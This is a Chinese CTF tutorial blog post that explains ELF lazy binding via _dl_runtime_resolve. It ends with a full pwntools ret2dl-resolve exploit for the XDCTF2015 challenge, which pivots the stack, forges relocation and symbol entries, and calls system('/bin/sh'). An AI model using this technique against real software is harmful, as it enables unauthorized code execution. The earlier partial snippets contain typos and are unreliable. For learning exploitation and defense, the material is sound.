pwn(四)

pwn(四)

_dl_runtime_resolve


动态库链接原理

  • 动态库,在Windows中也就是.dll文件,在Linux中就是.so文件,再比如说,在Windows下,是IAT表,在Linux中,是GOT表,之前简单的聊了下,这里在详细具体写我的理解
  • 库函数就不用多说了,那么它的调用流程到底是什么,先写一段具有系统函数的小程序,然后我们用gdb调试它
int main()
{
   puts("hello world!");
   return 0;
}//gcc -m32 -fno-stack-protector -no-pie -s hello.c
  • 我们从call _puts这里分析,call _puts之后究竟做了哪些工作
.plt:08049040                 jmp     ds:off_804C00C
  • jmp了这样一个地址,实际上就是got表的地址
.got.plt:0804C00C off_804C00C     dd offset puts          ; DATA XREF: _puts↑r
  • 我们实际运行给这里下端点看看
[-------------------------------------code-------------------------------------]
   0x8049036:	jmp    DWORD PTR ds:0x804c008
   0x804903c:	add    BYTE PTR [eax],al
   0x804903e:	add    BYTE PTR [eax],al
=> 0x8049040 <puts@plt>:	jmp    DWORD PTR ds:0x804c00c
 | 0x8049046 <puts@plt+6>:	push   0x0
 | 0x804904b <puts@plt+11>:	jmp    0x8049030
 | 0x8049050 <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x804c010
 | 0x8049056 <__libc_start_main@plt+6>:	push   0x8
 |->   0x8049046 <puts@plt+6>:	push   0x0
       0x804904b <puts@plt+11>:	jmp    0x8049030
       0x8049050 <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x804c010
       0x8049056 <__libc_start_main@plt+6>:	push   0x8
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]\

[-------------------------------------code-------------------------------------]
   0x804903e:	add    BYTE PTR [eax],al
   0x8049040 <puts@plt>:	jmp    DWORD PTR ds:0x804c00c
   0x8049046 <puts@plt+6>:	push   0x0
=> 0x804904b <puts@plt+11>:	jmp    0x8049030
 | 0x8049050 <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x804c010
 | 0x8049056 <__libc_start_main@plt+6>:	push   0x8
 | 0x804905b <__libc_start_main@plt+11>:	jmp    0x8049030
 | 0x8049060 <__gmon_start__@plt>:	jmp    DWORD PTR ds:0x804bffc
 |->   0x8049030:	push   DWORD PTR ds:0x804c004
       0x8049036:	jmp    DWORD PTR ds:0x804c008
       0x804903c:	add    BYTE PTR [eax],al
       0x804903e:	add    BYTE PTR [eax],al
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]

[-------------------------------------code-------------------------------------]
   0x804902d:	add    BYTE PTR [eax],al
   0x804902f:	add    bh,bh
   0x8049031:	xor    eax,0x804c004
=> 0x8049036:	jmp    DWORD PTR ds:0x804c008
 | 0x804903c:	add    BYTE PTR [eax],al
 | 0x804903e:	add    BYTE PTR [eax],al
 | 0x8049040 <puts@plt>:	jmp    DWORD PTR ds:0x804c00c
 | 0x8049046 <puts@plt+6>:	push   0x0
 |->   0xf7fea340:	push   eax
       0xf7fea341:	push   ecx
       0xf7fea342:	push   edx
       0xf7fea343:	mov    edx,DWORD PTR [esp+0x10]
                                                                  JUMP is taken
[------------------------------------stack-------------------------------------]
  • 上面三个框很清晰的列出了他的执行流程
  • push 0 -> jmp 0x8049030 -> push DWORD PTR ds:0x804c004 -> jmp DWORD PTR ds:0x804c008
    -> 0xf7fea340
  • 最后程序就继续到0xf7fea340这个地址继续运行了,这个地址实际上就是_dl_runtime_resolve函数地址,这么想的话,之前push的两个值就是它的参数了,那么实际上call _puts实际上会被转化成_dl_runtime_resolve(DWORD PTR ds:0x804c004,0),这里我们还可以去看一下这个DWORD PTR ds:0x804c004是什么,前面这个地址实际上是link_map,后面是reloc_index,这个程序最后的目的是往got表中写入函数地址,第一个参数是用来寻找函数地址的,第二个参数就是函数在.rel.plt表中的偏移
.got.plt:0804C004 dword_804C004   dd 0                    ; DATA XREF: sub_8049030↑r
.got.plt:0804C008 dword_804C008   dd 0                    ; DATA XREF: sub_8049030+6↑r
  • 就先分析到这里,然后我们先去了解elf文件结构,才能理解这两个参数是什么意思,当然我们只需要了解部分
    .dynamic,包含了一些动态链接信息,这里我们只需要知道,里面有是三个地址DT_STRTAB, DT_SYMTAB, DT_JMPREL,根据名字其实就猜出来了,分别是字符表,符号表,最后的重定位表,也就是ELF Symbol Table,ELF String Table,ELF REL Relocation Table
    在程序中是这个样子的
    符号表
    在这里插入图片描述
    这里就是那三个表
  • 第一个表先介绍.rel.plt,为什么先介绍这个,看完就知道了
LOAD:080482D8 ; ELF JMPREL Relocation Table
LOAD:080482D8                 Elf32_Rel <804C00Ch, 107h> ; R_386_JMP_SLOT puts
LOAD:080482E0                 Elf32_Rel <804C010h, 307h> ; R_386_JMP_SLOT __libc_start_main
LOAD:080482E0 LOAD            ends

每一项都是Elf32_Rel <a,b>的形式,实际上是个结构体,那么这里其实是Elf32_Rel <r_offset,r_info>

typedef struct{
           Elf32_Addr r_offset;
           Elf32_Word r_info;
}Elf32_Rel;

r_offset:一个地址,这个地址是指向GOT表的,也就是最后我们查找到了函数写入的地址
r_info:一些导入符号的信息,我们可以看到上面是107h,307h,为什么都是07结尾是因为导入符号是导入函数的原因,导入函数都是07结尾,所以不用管,我们需要重点关注的是最靠头的13,这个1和3其实是.dynsym的下标,1就是.dynsym的第一项,3自然就是第三项
我们前面就说了我们要根据这个_dl_runtime_resolve函数去找到我们需要调用的函数的符号,然后根据符号去找地址,这个表其实就给了我们相当多的信息,我们要写入到GOT表的哪里,去哪里找这个符号,所以这个函数肯定是要先找到这个表

  • 第二个表,自然也是个结构体
LOAD:0804820C ; ELF Symbol Table
LOAD:0804820C                 Elf32_Sym <0>
LOAD:0804821C                 Elf32_Sym <offset aPuts - offset unk_804825C, 0, 0, 12h, 0, 0> ; "puts"
LOAD:0804822C                 Elf32_Sym <offset aGmonStart - offset unk_804825C, 0, 0, 20h, 0, 0> ; "__gmon_start__"
LOAD:0804823C                 Elf32_Sym <offset aLibcStartMain - offset unk_804825C, 0, 0, 12h, 0, \ ; "__libc_start_main"
LOAD:0804823C                            0>
LOAD:0804824C                 Elf32_Sym <offset aIoStdinUsed - offset unk_804825C, \ ; "_IO_stdin_used"
LOAD:0804824C                            offset _IO_stdin_used, 4, 11h, 0, 10h>

我们写成结构体的格式,Elf32_Sym<st_name,st_value,st_size,st_info,st_other,st_shndx>其实我们只需要关注这个st_name就可以了

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

前面在.rel.plt表中我们就说明了,要根据上一个表中的偏移,找到具体这个表的一项,上面是1,那么这里就是第一项,也就是这个Elf32_Sym <offset aPuts - offset unk_804825C, 0, 0, 12h, 0, 0> ; "puts"
st_name:我们只需要用到st_name就行了,很显然就是对应最后的符号表了地址了,这里是用偏移表示的
到这里我们就可以写这样的流程了,(.rel.plt -> r_info) >> 8 -> st_name,这样我们就知道我们的函数符号在符号表中的偏移了,这样我们自然就能根据这个偏移找到符号了,具体怎么找的呢,这个offset unk_804825C其实就是符号表的首地址,前面这个offset aPuts就是对应符号表的符号,这样自然就知道了

  • 第三个表.dynstr,其实就是相当于data段的字符串,_dl_runtime_resolve函数就要根据这个去动态库查找函数
LOAD:0804825C ; ELF String Table
LOAD:0804825C unk_804825C     db    0                 ; DATA XREF: LOAD:0804821C↑o
LOAD:0804825C                                         ; LOAD:0804822C↑o ...
LOAD:0804825D aLibcSo6        db 'libc.so.6',0
LOAD:08048267 aIoStdinUsed    db '_IO_stdin_used',0   ; DATA XREF: LOAD:0804824C↑o
LOAD:08048276 aPuts           db 'puts',0             ; DATA XREF: LOAD:0804821C↑o
LOAD:0804827B aLibcStartMain  db '__libc_start_main',0
LOAD:0804827B                                         ; DATA XREF: LOAD:0804823C↑o
LOAD:0804828D aGlibc20        db 'GLIBC_2.0',0
LOAD:08048297 aGmonStart      db '__gmon_start__',0   ; DATA XREF: LOAD:0804822C↑o

写到这个表,其实流程就很清晰了,之所以要从.rel.plt表先分析,也是因为这个函数也是先从这个表找起的,那么总的流程自然就是,.rel.plt -> .dynsym -> .dynstr,细节流程就是

1.去.rel.plt找符号
.rel.plt -> r_info 这个info右移16位,得到偏移,也就是107h右移,得到1
2.去.dynsym表中找到对应的项解读对应的参数
.dynsym -> st_name
3.去.dynstr拿到符号
.dynsym -> 符号(funcition)
  • 那么对应三个表的作用也可以总结出来了,第一个表.rel.plt就是用来描述重定位符号写入信息的,去哪里找,写到哪里,第二个表.dynsym用来描述这个符号的基本信息的,这个符号有什么样子的属性,存在哪里,第三个表.dynstr相当于一个数据库,存储我们的符号名字,我们还是用导入变量和导入函数的比较多
  • _dl_runtime_resolve(DWORD PTR ds:0x804c004,0),前面说了,第一个参数是link_map,第二个参数是.rel.plt表中的偏移,link_map会先去访问.dynamic,然后拿到.rel.plt,.dynsym,.dynsym的指针地址,然后就根据我们刚才的描述去取到符号,然后写入.got.plt表,这里有两个表一个是.got.plt,还有个.got表,我们知道了前面那个表是用来存储函数地址的,那么后面.got表呢,这里实际上我们需要了解四个表
  • .got:这是GOT或全局偏移表,这是链接器为外部符号填充的实际偏移表。
  • .plt:这是PLT或程序链接表,这些是查找.got.plt节中地址的存根,可以跳转到正确的地址,也可以触发链接器中的代码来查找地址
  • .got.plt:这是PLT的GOT,它包含目标地址(在查找之后)一段触发.plt开始查找的地址(触发查找也就是第一次调用的意思)
  • .plt.got:不知道有什么用
    以上所有就是_dl_runtime_resolve函数的介绍,接下来我们来利用它

利用_dl_runtime_resolve(How to)

  • 以这个程序为例子,也是很经典的一个例子
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
  • 接下来我们使用的技巧,正好和我们介绍的三个表的顺序相反,原因自然是,我们要伪造出来这三个表,而这三个表的伪造关系是从.dynstr->.dynsym->.rel.plt,你只有伪造了.dynstr,才能去伪造.dynsym,因为.dynsym结构体的第一项就是.dynstr的中的偏移地址,所以我们伪造的顺序和系统查找的顺序是相反的
  • 在伪造之前,我们需要详细的明白栈中的布置,才能知道我们的rop怎么写
这就是我们需要去伪造的栈结构,省略号表示一些对齐或者一些填充数据,参数之类的
fake_info的第一个参数指向fake_sym_offset,这里的fake_sym_offset指向fake_str,我们只需要分别把这三项参数
构造好了,其实我们就完成了攻击,
----------------------------------------------------|
plt[0]											    |
----------------------------------------------------|
rel_offset											|
----------------------------------------------------|
.......												|
----------------------------------------------------|
fake_rel_offset <fake_address,fake_info>			|
----------------------------------------------------|
......												|
----------------------------------------------------|
fake_sym_offset <fake_st_name,......>				|
----------------------------------------------------|
......												|
----------------------------------------------------|
fake_str											|
----------------------------------------------------|
......
  • 我们一个一个的来构造就行了,第一步我们先构造fake_sym_offset,这个fake_str不用构造,只需要提供个字符串就行了,这么我们要获得shell,就构造成system就可以了,它的参数我们也可以布置出来
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 32
			'''
			我们提前把栈段移到bss段,这部分代码解释,会写在最后的exp里面
			'''
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
			'''
			这里是个很关键的地方,为了内存对齐
			'''
fake_sym_addr += align
			'''
			内存对齐后的fake_sym_addr
			'''
index_dynsym = ( fake_sym_addr - dynsym) / 0x10
			'''
			这里为了计算这是sym表的第几项,这个参数是给.rel.plt用的
			'''
st_name = fake_sym_addr + 0x10 - dynstr
			'''
			这里的fake_sym_addr + 0x10就是system字符串所在的位置,减掉dynstr,就是st_name,因为st_name
			就是用偏移表示的
			'''
fake_write_sym = flat([st,name,0,0,0x12])
			'''
			flat([0x4c, 0, 0, 0x12]),打印错误很有可能和初始化操作有关系
       	    '\st_name\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00'
			fake_write_sym 就是Elf32_Sym结构体的各项数据,
			'''
  • 然后我们去构造.rel.plt,在上面fake_sym_addr + 0x10就是.dynstr表的指向了,所以我们接下来只需要构造.rel.plt了
# 思路:首先要创建一个offset去指向我们伪造的.rel.plt表项
# 我们先看一下表项的格式Elf32_Rel <r_offset,r_info>,也就是一个函数写入地址的位置,随便给就行了
,r_info需要设置
rel_offset = base_stage + 24 - rel_plt
			'''
			这里就是指向我们伪造的表项的偏移
			'''
r_info = ( index_dynsym << 8 ) | 0x7
			'''
			上面这个index_dynsym是我们伪造的sym表项是在总的sym表项的第几项,这里处理一下设置为(0x偏移07)
			'''
fake_write_reloc = flat([write_got,r_info])
			'''
			这个地址随便写就可以了,我们只调用一次,也不需要存储这个地址
			'''
  • 这里我们也布置好了伪造的.rel.plt表项,接下来就是怎么布置我们的栈
'''
那么程序的调用思路为:
plt[0] -> rel_offset (这个offset帮助plt[0]找到.rel.plt对应项,自然就是我们上面伪造的)
-> base_stage + 24 - rel_plt -> fake_write_reloc([write_got, r_info])
-> r_info = (index_dynsym << 8) | 0x7 -> fake_sym_addr
-> base_stage + 32 -> fake_write_sym([0x4c, 0, 0, 0x12])
-> 这样就找到了sym表中的符号了,这里还是write符号,但是用了我们伪造的.rel.plt,
.dynstr,.dynsym
'''
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(rel_offset)
rop.raw('bbbb')		# 调用函数的返回值,我们只用一次就无所谓了,这里填满字节就可以了
rop.raw(base_stage + 82)
rop.raw('bbbb')		# 填充数据,因为我们之前的数据填的是 base_stage + 24 或者 + 32,需要一些填充数据
rop.raw('bbbb')		# 填充数据
rop.raw(fake_write_reloc)fake_write_sym
rop.raw( 'a' * align)
rop.raw(fake_write_sym)
rop.raw('system\x00')
rop.raw( 'a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw( 'a' * (100 - len(rop.chain())))
  • 然后我们分析整个程序
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')

offset = 112
        '''
        偏移的获取:
        进入gdb模式,生成一定会溢出的pattern长度
        create pattern 200
        然后复制生成的pattern,然后发送,然后搜索我们发送的pattern的地址
        pattern search
        pattern search address
        '''
bss_addr = elf.bss()

r.recvuntil('Welcome to XDCTF2015~!\n')

## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
        '''
        migrate函数:看源码很容易就发现了,这就是添加了个leave;ret的gadget,在这里就是
        返回原程序的意思
        def migrate(self, next_base):
            """Explicitly set $sp, by using a ``leave; ret`` gadget"""
            if isinstance(next_base, ROP):
                next_base = self.base
            pop_sp = self.rsp or self.esp
            pop_bp = self.rbp or self.ebp
            leave  = self.leave
            if pop_sp and len(pop_sp.regs) == 1:
                self.raw(pop_sp)
                self.raw(next_base)
            elif pop_bp and leave and len(pop_bp.regs) == 1:
                self.raw(pop_bp)
                self.raw(next_base - context.bytes)
                self.raw(leave)
            else:
                log.error('Cannot find the gadgets to migrate')
            self.migrated = True
        '''
r.sendline(rop.chain())
        '''
        这里是为了迁移栈段,迁移到bss段
        '''

## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
        '''
        得到对应的section的地址,不太清楚这里的header和sh_addr是什么意思,但是这里的意思
        应该就是为了获得头地址
        '''

### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
                )  # since the size of item(Elf32_Symbol) of dynsym is 0x10
        '''
         0x10 - ((fake_sym_addr - dynsym) & 0xf)
         这里的 & 运算是为了拿到最后一个字节,也就是四位,这里的处理是为了获取对齐表项,
         一个sym表项的大小是16个字节
         由于每个sym项都是16个字节对齐,也就是查找对应的项的时候就是按十六个字节,十六个字节
         的找的,如果这里不对齐,可能会找不全数据
         Contents of section .dynsym:
         80481d8 00000000 00000000 00000000 00000000  ................
         80481e8 33000000 00000000 00000000 12000000  3...............
         80481f8 27000000 00000000 00000000 12000000  '...............
         8048208 52000000 00000000 00000000 20000000  R........... ...
         8048218 20000000 00000000 00000000 12000000   ...............
         8048228 (C)3a000000 00000000 00000000(A) 12000000  :...............
         8048238 4c000000 00000000 00000000 12000000  L...............
         8048248 2c000000 44a00408 04000000 11001a00  ,...D...........
         8048258 0b000000 3c860408 04000000 11001000  ....<...........
         8048268 1a000000 40a00408 04000000 11001a00  ....@...........
         举个例子:在A点是我们开始的base_stage + 32,假如我们伪造的表项是sym表的第B项,
         如果没有align,我们的数据会从A点开始填充,但是我们.rel.plt查找的时候是严格按照
         第B项去找的,这样子就造成了找的数据不是我们伪造的,构造了align之后,我们先取得
         base_stage + 32 - sym表头的后四位数据,我们得到的就是A点到8048228开头的大小,
         也就是AC点之前的距离然后我们只需要把A到8048238后面的大小计算出来,然后用数据
         填充也就到了我们8048238这个位置,实际上这里就是个内存对齐机制
        '''
fake_sym_addr = fake_sym_addr + align
        '''
        内存对齐后我们伪造的sym地址
        '''
index_dynsym = (
    fake_sym_addr - dynsym) / 0x10  # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
        '''
        这里就是计算我们伪造的sym项,是表的第几项,这个数据会用到.rel.plt的r_info中
        '''
st_name = fake_sym_addr + 0x10 - dynstr
        '''
        这里就是我们伪造的st_name,减去一个dymstr也是为了计算偏移,因为sym项中的st_name
        就是用偏移表示的,这里可以跳到上面去看一下
        '''
fake_write_sym = flat([st_name, 0, 0, 0x12])
        '''
        flat([0x4c, 0, 0, 0x12]),打印错误很有可能和初始化操作有关系
        '\st_name\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00'
        这里拼凑的是一个Elf32_sym结构
        typedef struct
        {
          Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
          Elf32_Addr    st_value;
          Elf32_Word    st_size;
          unsigned char st_info; //对于导入函数符号而言,它是0x12
          unsigned char st_other;
          Elf32_Section st_shndx;
        }Elf32_Sym; //对于导入函数符号而言,其他字段都是0
        上面的分别对应这个结构体的属性,sym表就伪造好了
        '''
### making fake write relocation

## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
        '''
        计算.rel.plt表头离我们伪造的.rel.plt表项偏移,这个参数是给plt[0]里的代码用的
        '''
r_info = (index_dynsym << 8) | 0x7
        '''
        将上面计算的index_dynsym处理成r_info
        '''
fake_write_reloc = flat([write_got, r_info])
        '''
        伪造.rel.plt项的属性
        '''

        '''
        那么程序的调用思路为:
        plt[0] -> index_offset(这个offset帮助plt[0]找到.rel.plt对应项,自然就是我们上面伪造的)
        -> base_stage + 24 - rel_plt -> fake_write_reloc([write_got, r_info])
        -> r_info = (index_dynsym << 8) | 0x7 -> fake_sym_addr
        -> base_stage + 32 -> fake_write_sym([0x4c, 0, 0, 0x12])
        -> 这样就找到了sym表中的符号了,这里还是write符号,但是用了我们伪造的.rel.plt,
        .dynstr,.dynsym
        '''
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc)  # fake write reloc
rop.raw('a' * align)  # padding
rop.raw(fake_write_sym)  # fake write symbol
rop.raw('system\x00')  # there must be a \x00 to mark the end of string
        '''
        有个细节,str符号表每个符号都要带\x00,上面介绍的str表里也有
        '''
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))

r.sendline(rop.chain())
r.interactive()

总结

  • 总结:在_dl_runtime_resolve的rop利用中,适用于rop链少,没有合适的rop链去构造,也没有什么可以利用的动态库文件,其实写了这么多,都只是为了好好理解这个用法,真正的CTF题更复杂,更加难以分析,上面这个exp是m4x师傅的代码,我只是自己理解做了个分析,也学习到了很多新姿势,接下来写个这个用法的总结
    • 应用之前要理解三个elf结构的表,.dynamic表是最重要的一个表,这个表里存储了其他很多表的指针,我们这里只用到了,.dynstr.dynsym 、.rel.plt这三个表,这三个表分别是符号表dynstr也就是存储函数名字的字符串,.dynsym是个符号属性表,这个符号有什么样的属性,有多大,存储在符号表的第几项,这个表也直接给出了我们所要找的函数在符号表的位置,.rel.plt这个表就是用来给函数地址做个指引的,地址写到哪里去,该去哪里找这个地址
    • 熟悉这三个表就很熟悉了_dl_runtime_resolve这个函数的执行流程,首先这个函数会去找.dynamic,拿到后面三个表的指针,然后去找.rel.plt表,这个表会告诉我们去哪里找这个函数的符号,然后我们就找到了.dynsym,对应的函数的符号表属性,根据这个属性我们就可以找到这个符号也就是字符串在这个符号表dynstr在函数的第几项,然后我们的函数就找到了这个字符串,然后就会根据这个字符串调用动态连接程序去找到库中函数地址,然后根据.rel.plt表写入这个函数应该在的.got.plt的位置
    • 那么我们应该怎么利用这个函数,我们肯定先要伪造这个符号(字符串)和字符串属性,然后伪造.rel.plt指到我们伪造的字符串属性里面去,然后还要plt[0]指到我们伪造的.rel.plt程序,那么程序流程就如下了
    payload = plt[0]
    payload += [fake.rel.plt]
    payload += [.dynsym]
    payload += [.dynstr]
    payload += 'system\x00'
    payload += sh
    
  • 这样整个程序就写完了,栈溢出的课题也写完了,我想下一次写一个总结类的,把方法都写一写总结一下利用方法
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值